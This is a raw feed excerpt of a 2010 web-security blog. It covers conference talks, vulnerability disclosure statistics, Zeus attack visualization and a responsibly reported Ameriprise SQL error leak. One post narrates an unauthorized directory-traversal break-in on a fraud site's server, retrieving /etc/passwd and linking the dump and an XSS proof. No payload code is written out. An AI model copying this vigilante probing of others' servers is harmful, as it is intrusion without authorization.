href="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" target="_blank"&gt;OWASP Top 10&lt;/a&gt; and the &lt;a href="http://cwe.mitre.org/top25/" target="_blank"&gt;CWE/SANS Top 25&lt;/a&gt;.&lt;br /&gt;The RSA presentation is &lt;a href="http://holisticinfosec.org/presentations/RSA2010.html" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;The ISACA presentation is &lt;a href="http://holisticinfosec.org/presentations/ISACA_031610.html" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;The Agora presentation is available upon request (russ at holisticinfosec dot org).&lt;br /&gt;&lt;br /&gt;There are PCAPS, scripts, and binary samples discussed in all of these presentations. Should you wish copies of any or all, please contact me.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/03/presentations-available-rsa-isaca-and.html&amp;title=Presentations%20available:%20RSA,%20ISACA,%20and%20Agora&lt;br /&gt; " title="Presentations available: RSA, ISACA, and Agora&lt;br /&gt; "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/03/presentations-available-rsa-isaca-and.html" title="Presentations available: RSA, ISACA, and Agora&lt;br /&gt; "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/03/presentations-available-rsa-isaca-and.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt; &lt;br /&gt; Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-8734857295417596542?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/8734857295417596542/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=8734857295417596542' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/8734857295417596542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/8734857295417596542'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/03/presentations-available-rsa-isaca-and.html' title='Presentations available: RSA, ISACA, and Agora'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-507211821046987930</id><published>2010-03-11T20:45:00.000-08:00</published><updated>2010-03-21T13:10:48.606-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><category scheme='http://www.blogger.com/atom/ns#' term='sqi'/><title type='text'>#6 of the Top Vulnerability Discoverers of 2009</title><content type='html'>As I was last &lt;a href="http://blogs.iss.net/archive/2008Top10VulnResearc.html" target="_blank"&gt;year&lt;/a&gt;, I am again pleased to report that the vulnerabilities I've been happily and responsibly &lt;a href="http://osvdb.org/creditees/4374-russ-mcree" target="_blank"&gt;disclosing&lt;/a&gt; and &lt;a href="http://holisticinfosec.org/content/category/6/23/45/" target="_blank"&gt;posting&lt;/a&gt; have resulted in 6th place on the list of &lt;a href="http://blogs.iss.net/archive/2009Top10VulnResearc.html" target="_blank"&gt;Top Vulnerability Discoverers of 2009&lt;/a&gt;. Thanks to Scott Moore of the IBM ISS &lt;a href="http://blogs.iss.net/index.html" target="_blank"&gt;Frequency X Blog&lt;/a&gt; who compiled the list for 2009. &lt;br /&gt;I remain both pleased and disconcerted to find myself on this list and wish to convey a few thoughts on the subject.&lt;br /&gt;&lt;br /&gt;1) First, a reminder that my work has focused entirely on vulnerable web apps   and pales in comparison to the likes of others named on both the all-time list and the list for 2009. Congratulations and well done to you all.&lt;br /&gt;&lt;br /&gt;2) My efforts resulted in what the Frequency X post indicates is 48 unique web application vulnerabilities in 2009. This again serves as a stark reminder of what a challenged state of affairs the development process is for so many web application vendors. May the &lt;a href="http://www.microsoft.com/security/sdl/" target="_blank"&gt;SDL&lt;/a&gt; and its &lt;a href="http://www.owasp.org/index.php/Category:OWASP_Code_Review_Project" target="_blank"&gt;ilk&lt;/a&gt; prevail.&lt;br /&gt;&lt;br /&gt;3) I will continue my discovery and reporting efforts with the intention of somehow making a dent in the statistics (unrealistic, I know). I focused heavily on cross-site request forgery (&lt;a href="http://en.wikipedia.org/wiki/CSRF" target="_blank"&gt;CSRF&lt;/a&gt;) issues in 2009 and was not surprised to find that the average number of days for CSRF vulnerabilities to be resolved increased by 37 days to 93 days.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/S5nMViU3yYI/AAAAAAAAATY/RIOL9OAMiGE/s1600-h/ScreenShot005.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 210px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/S5nMViU3yYI/AAAAAAAAATY/RIOL9OAMiGE/s320/ScreenShot005.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5447609894644992386" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The above figure can be found on page 7 of the 8th Edition of WhiteHat's &lt;a href="http://www.whitehatsec.com/home/assets/WPstats_fall09_8th.pdf" target="_blank"&gt;Website Security Statistics Report&lt;/a&gt;. &lt;br /&gt;I believe, as the report states, that much of the reason CSRF issues linger unabated is that "no one at the organization knows about, understands, or respects the issue." &lt;br /&gt;I can tell you from personal experience, I heard this many times in 2009. &lt;br /&gt;It should therefore surprise no one that CSRF is number four on the &lt;a href="http://cwe.mitre.org/top25/" target="_blank"&gt;2010 CWE/SANS Top 25 Most Dangerous Programming Errors&lt;/a&gt;.&lt;br /&gt;Hopefully, each application discovered and reported as vulnerable to this issue leads to a downward statistical trend in the likes of the WhiteHat report.&lt;br /&gt;&lt;br /&gt;I look forward to continued discussions of these issues with you, dear readers, and hope we can make a difference.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/03/6-of-top-vulnerability-discoverers-of.html&amp;title=#6%20of%20the%20Top%20Vulnerability%20Discoverers%20of%202009 " title="#6 of the Top Vulnerability Discoverers of 2009 "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/03/6-of-top-vulnerability-discoverers-of.html" title="#6 of the Top Vulnerability Discoverers of 2009 "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/03/6-of-top-vulnerability-discoverers-of.html"&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-507211821046987930?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/507211821046987930/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=507211821046987930' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/507211821046987930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/507211821046987930'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/03/6-of-top-vulnerability-discoverers-of.html' title='#6 of the Top Vulnerability Discoverers of 2009'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_kVOWaY1TAF0/S5nMViU3yYI/AAAAAAAAATY/RIOL9OAMiGE/s72-c/ScreenShot005.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-8722466926843010978</id><published>2010-03-02T20:52:00.000-08:00</published><updated>2010-03-02T23:35:29.058-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RSA'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='visualization'/><category scheme='http://www.blogger.com/atom/ns#' term='malcode analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis tools'/><category scheme='http://www.blogger.com/atom/ns#' term='APT'/><title type='text'>RSA: Visualizing the Zeus attack against government and military</title><content type='html'>In keeping with my presentation this Friday at &lt;a href="http://www.rsaconference.com/2010/usa/index.htm"&gt;RSA&lt;/a&gt;, I managed to time my &lt;a href="http://holisticinfosec.org/content/view/12/26/"&gt;toolsmith&lt;/a&gt; topic to correlate precisely; specifically, visualizing the recent Zeus attack against government and military. For the article I discuss NetGrok and AfterGlow; for the RSA presentation I'll be more focused on NetGrok and Maltego as the present more readily for a live audience. Now that "advanced persistent threat" or APT is the latest buzz word/acronym/phrase we can reminisce that good old Zeus was amongst the best and brightest of early APT adopters. ;-)&lt;br /&gt;&lt;br /&gt;From the RSA presentation abstract:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;The flood of raw data generated by intrusion detection systems (IDS) is often 0verwhelming for security specialists, and telltale signs of intrusion are sometimes overlooked in all the noise. Security visualization tools provide an easy, intuitive&lt;br /&gt;means for sorting through the dizzying data and spotting patterns that might indicate intrusion…the presentation will focus on specific tools and methodology to aid you in establishing security data visualization practices in your environment.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;From the article:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;I’ll accentuate this theme as the crux of our toolsmith discussion this month while discussing NetGrok and After-Glow and additionally introduce timely sample analysis of the targeted Zeus bot attacks in early February against U.S. government institutions.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;See how that all pulls together? ;-)&lt;br /&gt;The article is &lt;a href="http://holisticinfosec.org/toolsmith/docs/march2010.html"&gt;here&lt;/a&gt;.&lt;br /&gt;The RSA presentation is in Orange Room 306 at 10:10 on Friday, March 5. &lt;br /&gt;If you're attending RSA, I hope to see you there.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/03/rsa-visualizing-zeus-attack-against.html&amp;title=RSA:%20Visualizing%20the%20Zeus%20attack%20against%20government%20and%20military " title="RSA: Visualizing the Zeus attack against government and military "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/03/rsa-visualizing-zeus-attack-against.html " title="RSA: Visualizing the Zeus attack against government and military "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/03/rsa-visualizing-zeus-attack-against.html "&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-8722466926843010978?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/8722466926843010978/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=8722466926843010978' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/8722466926843010978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/8722466926843010978'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/03/rsa-visualizing-zeus-attack-against.html' title='RSA: Visualizing the Zeus attack against government and military'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-782355912922157541</id><published>2010-03-01T11:35:00.000-08:00</published><updated>2010-03-01T12:04:54.324-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ameriprise'/><category scheme='http://www.blogger.com/atom/ns#' term='SQLi'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Russ McRee'/><category scheme='http://www.blogger.com/atom/ns#' term='data breach'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>Financials and the need for software regression testing</title><content type='html'>&lt;a href="http://searchfinancialsecurity.techtarget.com" target="_blank"&gt;SearchFinancialSecurity.com&lt;/a&gt; just published my article regarding &lt;a href="http://bit.ly/bXqy6B" target="_blank"&gt;Financials and the need for software regression testing&lt;/a&gt;.&lt;br /&gt;This article cites Ameriprise as an example of a financial services provider who would benefit from improved regression testing and version control.&lt;br /&gt;&lt;br /&gt;This article was actually written prior to the recent &lt;a href="http://holisticinfosec.blogspot.com/2010/02/online-finance-flaw-ameriprise-iii.html" target="_blank"&gt;SQL bug&lt;/a&gt; I discussed involving Ameriprise, and is made even more interesting by discussion of a possible small, unrelated Ameriprise &lt;a href="http://www.databreaches.net/?p=10296" target="_blank"&gt;data breach&lt;/a&gt; in New Hampshire. &lt;br /&gt;&lt;br /&gt;I truly hope Ameriprise takes a close look at the suggestions offered and moves towards enhancing security practices on behalf of their consumers.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/03/financials-and-need-for-software.html&amp;title=Financials%20and%20the%20need%20for%20software%20regression%20testing " title="Financials and the need for software regression testing "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/03/financials-and-need-for-software.html " title="Financials and the need for software regression testing "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/03/financials-and-need-for-software.html "&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-782355912922157541?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/782355912922157541/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=782355912922157541' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/782355912922157541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/782355912922157541'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/03/financials-and-need-for-software.html' title='Financials and the need for software regression testing'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-4657127695571036979</id><published>2010-02-23T21:35:00.000-08:00</published><updated>2010-02-24T12:40:08.807-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fail'/><category scheme='http://www.blogger.com/atom/ns#' term='SQLi'/><category scheme='http://www.blogger.com/atom/ns#' term='Russ McRee'/><category scheme='http://www.blogger.com/atom/ns#' term='ColdFusion'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>Online finance flaw: Ameriprise III  - please make it stop</title><content type='html'>&lt;span style="font-weight:bold;"&gt;NOTE:&lt;/span&gt; This issue was disclosed responsibly and repaired accordingly.&lt;br /&gt;&lt;br /&gt;"Now what?", you're probably saying. Ameriprise again? Yep.&lt;br /&gt;I really wasn't trying this time. Really.&lt;br /&gt;There I was, just sitting in the man cave, happily writing an article on version control and regression testing. &lt;br /&gt;As the Ameriprise cross-site scripting (&lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting" target="_blank"&gt;XSS&lt;/a&gt;) vulnerabilities from &lt;a href="http://consumerist.com/2009/08/ameriprise-website-riddled-with-security-vulnerabilities-for-at-least-five-months.html" target="_blank"&gt;August 2009&lt;/a&gt; and &lt;a href="http://www.theregister.co.uk/2010/02/01/ameriprise_xss_relapse/" target="_blank"&gt;January 2010&lt;/a&gt; were in scope for the article topic, due diligence required me to go back and make sure the issue hadn't re-resurfaced. ;-)&lt;br /&gt;I accidentally submitted the JavaScript test payload to the wrong parameter. &lt;br /&gt;What do you think happened next?&lt;br /&gt;Nothing good. &lt;br /&gt;I reduced the test string down to a single tic to validate the simplicity of the shortcoming; same result.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kVOWaY1TAF0/S4S8I-x1JnI/AAAAAAAAATE/A0RqOV8xYrU/s1600-h/AmeripriseSQLbug.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 183px;" src="http://3.bp.blogspot.com/_kVOWaY1TAF0/S4S8I-x1JnI/AAAAAAAAATE/A0RqOV8xYrU/s320/AmeripriseSQLbug.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5441681112247379570" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;At the least, this is ridiculous information disclosure, if not leaning heavily towards a SQL injection vulnerability.&lt;br /&gt;As we learned the last &lt;a href="http://holisticinfosec.blogspot.com/2010/01/online-finance-flaw-ameriprise.html" target="_blank"&gt;two&lt;/a&gt; &lt;a href="http://holisticinfosec.blogspot.com/2009/08/amex-ii-ameriprise-mishandles.html" target="_blank"&gt;times&lt;/a&gt; we discussed Ameriprise, the only way to report security vulnerabilities is via their PR department, specifically to Benjamin Pratt, VP of Public Communications. &lt;br /&gt;Alrighty then, issue reported and quickly fixed this time (same day)...until some developer rolls back to an old code branch or turns on debugging again.&lt;br /&gt;&lt;br /&gt;We all know the ColdFusion is insanely verbose, particularly when in left in debugging mode, but come now...really?&lt;br /&gt;I really didn't want to know the exact SQL query and trigonometry required to locate an Ameriprise advisor. &lt;br /&gt;Although, after all this, I can comfortably say I won't be seeking an Ameriprise advisor anyway.&lt;br /&gt;&lt;br /&gt;Please Mr. Pratt, tell your web application developers to make it stop.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/02/online-finance-flaw-ameriprise-iii.html&amp;title=Online%20finance%20flaw:%20Ameriprise%20III%20-%20please%20make%20it%20stop " title="Online finance flaw: Ameriprise III  - please make it stop "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/02/online-finance-flaw-ameriprise-iii.html " title="Online finance flaw: Ameriprise III  - please make it stop "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/02/online-finance-flaw-ameriprise-iii.html "&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-4657127695571036979?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/4657127695571036979/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=4657127695571036979' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4657127695571036979'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4657127695571036979'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/02/online-finance-flaw-ameriprise-iii.html' title='Online finance flaw: Ameriprise III  - please make it stop'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kVOWaY1TAF0/S4S8I-x1JnI/AAAAAAAAATE/A0RqOV8xYrU/s72-c/AmeripriseSQLbug.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-811166117455190517</id><published>2010-02-07T20:00:00.000-08:00</published><updated>2010-02-08T06:24:52.964-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='directory traversal'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><category scheme='http://www.blogger.com/atom/ns#' term='information disclosure'/><title type='text'>Directory traversal as a reconnaissance tool</title><content type='html'>Like most of you, I find malicious or fraudulent online advertisers annoying to say the least. &lt;br /&gt;My typical response, upon receipt of rogue AV pop-ups, or redirects to clearly fraudulent sites, is to "closely scrutinize" the perpetrating site.&lt;br /&gt;This effort often bears fruit as is evident in the following analysis. &lt;br /&gt;&lt;br /&gt;My interest was recently peaked when being made aware of a number of related sites committing abuse against a variety of brands; all quite clearly in violation of copyrights and trademarks.&lt;br /&gt;An example, for your consideration: &lt;a href="http://messenger-download.info/default/index.php" target="_blank"&gt;messenger-download.info&lt;/a&gt;&lt;br /&gt;After a little exploration it was quickly determined that these cretins seek only to con victims out of credit card data with the &lt;a href="http://www.complaintsboard.com/complaints/freedownloadzonecom-c54734.html"&gt;promise&lt;/a&gt; of illegal downloads for a fee. &lt;br /&gt;Apparently these dbags have been at it for &lt;a href="http://weblogs.mozillazine.org/gerv/archives/007845.html"&gt;awhile&lt;/a&gt;.&lt;br /&gt;They make it look like you're going to receive access to a legitimate &lt;a href="http://messenger-download.info/windows_live_messenger/index.php" target="_blank"&gt;offering&lt;/a&gt; then they suck you in to &lt;a href="http://www.freedownloadzone.com/join.php" target="_blank"&gt;freedownloadzone.com&lt;/a&gt;.&lt;br /&gt;This, of course, pissed me off, so...off to the races.&lt;br /&gt;A poke here, a tickle there, and voila...&lt;span style="font-style:italic;"&gt;/etc/passwd&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kVOWaY1TAF0/S2fZcpYTBCI/AAAAAAAAASs/FFlisZ193PQ/s1600-h/etcPasswd.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 187px;" src="http://3.bp.blogspot.com/_kVOWaY1TAF0/S2fZcpYTBCI/AAAAAAAAASs/FFlisZ193PQ/s320/etcPasswd.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5433550561613120546" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This Centos server, running Apache 2.2.3 (very dated), complete with craptastic PHP code, is a textbook lesson in how to &lt;span style="font-style:italic;"&gt;not&lt;/span&gt; run a web server. &lt;br /&gt;Includes, anyone?&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/S2fbIgsI3dI/AAAAAAAAAS0/0Un4USSCDTk/s1600-h/includes.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 310px; height: 320px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/S2fbIgsI3dI/AAAAAAAAAS0/0Un4USSCDTk/s320/includes.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5433552414706294226" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;What's lovely about grabbing &lt;span style="font-style:italic;"&gt;/etc/passwd&lt;/span&gt; with directory traversal (file path traversal, if you prefer) is the discovery of all the additional abusive URLs in play on this same server. Additionally you'll note more than a few culprits, learned to be based in the Phillipines after running their user names through Maltego.&lt;br /&gt;Here's a text &lt;a href="http://holisticinfosec.org/poc/freedownloadzone_directoryTraversal_raw.txt" target="_blank"&gt;dump&lt;/a&gt; of the raw &lt;span style="font-style:italic;"&gt;/etc/passwd&lt;/span&gt; grab.&lt;br /&gt;&lt;br /&gt;A little regex parsing produced 256 +/- URLs, all pointing back to freedownloadzone.com, and all GoDaddy domains (shocking!).&lt;br /&gt;Rather than post all the URLs here, for brevity, please refer to the &lt;a href="http://holisticinfosec.org/poc/freedownloadzone_directoryTraversal_parsedURLs.txt" target="_blank"&gt;text file&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Lesson to be learned for the bad guys: secure development practices apply to you as well, or the whitehats may come knocking.&lt;br /&gt;&lt;br /&gt;A parting thought for freedownloadzone.com, and it's shadow org, helpmedownload.com.&lt;br /&gt;By the way, you have XSS issues too: &lt;a href="http://bit.ly/cT2P8F" target="_blank"&gt;http://bit.ly/cT2P8F&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/02/directory-traversal-as-reconnaisance.html&amp;title=Directory%20traversal%20as%20a%20reconnaisance%20tool " title="Directory traversal as a reconnaisance tool "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/02/directory-traversal-as-reconnaisance.html " title="Directory traversal as a reconnaisance tool "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/02/directory-traversal-as-reconnaisance.html "&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-811166117455190517?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/811166117455190517/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=811166117455190517' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/811166117455190517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/811166117455190517'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/02/directory-traversal-as-reconnaisance.html' title='Directory traversal as a reconnaissance tool'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kVOWaY1TAF0/S2fZcpYTBCI/AAAAAAAAASs/FFlisZ193PQ/s72-c/etcPasswd.png' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-8317279731684716553</id><published>2010-02-02T15:23:00.000-08:00</published><updated>2010-02-02T23:39:26.216-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' 